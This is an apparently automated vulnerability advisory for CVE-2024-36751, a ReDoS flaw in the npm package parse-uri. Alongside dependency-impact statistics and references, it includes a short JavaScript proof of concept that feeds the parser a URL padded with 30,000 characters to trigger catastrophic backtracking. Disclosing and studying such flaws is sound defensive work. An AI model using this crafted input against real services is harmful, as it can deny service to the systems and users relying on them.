MODERATE 6.5

CVE-2024-36751

parse-uri Regular expression Denial of Service (ReDoS)

Description

An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.

PoC

async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();

Affected Maven artifacts (2)

ArtifactAffected versionsFixed in
org.webjars.npm » parse-urivia npm parse-uri
<= 1.0.9
-
org.webjars.npm » parseurivia npm parseuri
*
-

Blast radius

2affected artifacts
5affected versions
11dependent artifacts (est.)
38dependent versions

18% of the dependent artifacts (2) still pull an affected version in their latest release.

DepthDependent versions
Direct
14
2 hops
10
3 hops
9
4 hops
5

Most used dependents

Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.

Other ecosystems

Also affects npm (2 packages) . See all on OSV

References

Advisorynvd.nist.gov
Webgithub.com
Webgist.github.com